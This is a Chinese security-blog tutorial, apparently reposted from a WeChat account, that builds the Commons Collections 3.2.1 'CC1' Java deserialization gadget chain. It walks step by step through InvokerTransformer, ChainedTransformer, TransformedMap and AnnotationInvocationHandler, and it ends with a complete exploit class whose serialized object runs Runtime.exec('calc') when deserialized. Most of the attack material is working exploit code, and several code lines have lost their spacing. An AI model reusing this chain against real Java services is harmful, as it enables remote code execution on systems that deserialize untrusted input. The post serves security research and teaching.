Java安全 - CC1链

admin 2025年3月10日00:11:54评论2 views字数 5509阅读18分21秒阅读模式

公众号号内回复Java,获取Java代码审计学习资料

CC1

环境文件在公众号回复cc1获取

debug环境配置:

  • jdk1.8.0_65
Java安全 - CC1链
cc1-09
用jdk1.8.65
由于源码的适配原因,需要将openjdk(jdk-af660750b2f4.zip)对应的 sun 目录复制到 jdk1.8.65下的src目录
然后在IDEA 项目结构中的SDKS 添加一个源码路径(指向jdk1.8.65下的src目录)
  • maven依赖
Java安全 - CC1链
cc1-08
CC1链 存在漏洞的版本是3.2.1,添加一下maven的依赖
InvokerTransformer.transform -> 哪里调用了transform -> 右键方法名FindUsages
Java安全 - CC1链
cc1-00
Runtime r = Runtime.getRuntime(); // 生成对象
new InvokerTransformer("exec"new Class[]{String.class}, newObject[]{"calc"}).transform(r);
// exec:方法名
// new Class[]{String.class}:参数类型
// new Object[]{"calc"}:参数值
// .transform(r):对应的对象
找到TransformedMap.checkSetValue方法 -> 要控制值 -> 寻找构造方法
protected TransformedMap() -> 自己调用 -> 继续找
static Map decorate -> 静态方法,直接调用,且调用了构造方法 -> 控制值
Java安全 - CC1链
cc1-01
InvokerTransformer invokerTransformer = new InvokerTransformer("exec"new Class[]{String.class}, newObject[]{"calc"}); // 保存下来
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer); // 静态方法decorate直接调用

此时还要找到如何调用checkSetValue -> 右键方法名FindUsages
-> AbstractInputCheckedMapDecorator类
Java安全 - CC1链
cc1-02
HashMap<Object, Object> map = new HashMap<>();
map.put("key""value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()){
    entry.setValue(r); // 这里的r就是上面的那个Runtime对象
}
// 下断点进行调试,发现会来到这里的setValue方法
-> 因为TransformedMap是AbstractInputCheckedMapDecorator的子类
-> 我的for循环遍历的是TransformedMap.decorate返回的Map类型 --- entry.setValue
-> TransformedMap类中没有setValue方法 --- 去父类AbstractInputCheckedMapDecorator中寻找 调用
-> 经过下断点调试,发现这里的parent依然是 TransformedMap 类型
-> 所以又回去调用了checkSetValue

至此,Map.Entry数组遍历,调用setValue方法,传入TransfromedMap.decorate返回的Map

Java安全 - CC1链
cc1-03
Java安全 - CC1链
cc1-04
// 接着寻找哪里调用了setValue方法 -> 找到了一个readobject方法里调用了 setValue
// 该类是default类型,无法直接创建,需要通过反射
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // Class类型
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.classMap.class);//获取构造器
annotationInvocationHandlerConstructor.setAccessible(true);// 设置可访问
Object o = annotationInvocationHandlerConstructor.newInstance(Override.classtransformedMap);
serialize(o);
unserialize("ser.bin");
// 运行发现不行,可以下断点调试
-> 不满足if语句条件,进行修改
=> memberType != null -> 这里调试发现是null -> 要想办法变成不是null
 逻辑:键值对的Key作为value 去 memberTypes.get(name);  所以要传入一个有成员方法的class -> Target
Objecto
= annotationInvocationHandlerConstructor.newInstance(Target.classtransformedMap);
 map.put("value""aaa"); // 且这里的key要改成Target里面的成员方法的名字 value
 OK了,可以进来两个if
Java安全 - CC1链
cc1-05
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod"new Class[]{String.classClass[].class}, newObject[]{"getRuntime"null}),
new InvokerTransformer("invoke"new Class[]{Object.classObject[].class}, newObject[]{nullnull}),
new InvokerTransformer("exec"new Class[]{String.class}, newObject[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 先把三个new InvokerTransformer换成 ChainedTransformer方法调用
// 直接传递进数组,依次调用即可
Java安全 - CC1链
cc1-06
Java安全 - CC1链
cc1-07
// 此时运行发现还不行报错,进行调试,发现这里的 value 变成了这个注解类似的类 -> 这并不是我们想要的
// 发现了一个 ConstantTransformer 类,传入什么就会返回什么
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
newInvokerTransformer("getMethod", newClass[]
{String.classClass[].class}, newObject[]{"getRuntime"null}),
new InvokerTransformer("invoke"new Class[]{Object.classObject[].class}, newObject[]{nullnull}),
new InvokerTransformer("exec"new Class[]{String.class}, newObject[]{"calc"})
};
// 在这里ChainedTransformer最开始加入一个 ConstantTransformer(Runtime.class) 就会返回Runtime.class

最后

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

publicclassCC1Test1{
publicstaticvoidmain(String[] args)throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
        Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
newInvokerTransformer("getMethod", newClass[]
{String.classClass[].class}, newObject[]{"getRuntime"null}),
new InvokerTransformer("invoke"new Class[]{Object.classObject[].class}, newObject[]{nullnull}),
new InvokerTransformer("exec"new Class[]{String.class}, newObject[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value""aaa");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.classMap.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.classtransformedMap);
        serialize(o);
        unserialize("ser.bin");

    }

publicstaticvoidserialize(Object obj)throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
publicstaticvoidunserialize(String fileName)throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
        ois.readObject();
    }
}

原文始发于微信公众号(夜风Sec):Java安全 - CC1链

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月10日00:11:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java安全 - CC1链https://cn-sec.com/archives/3819071.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息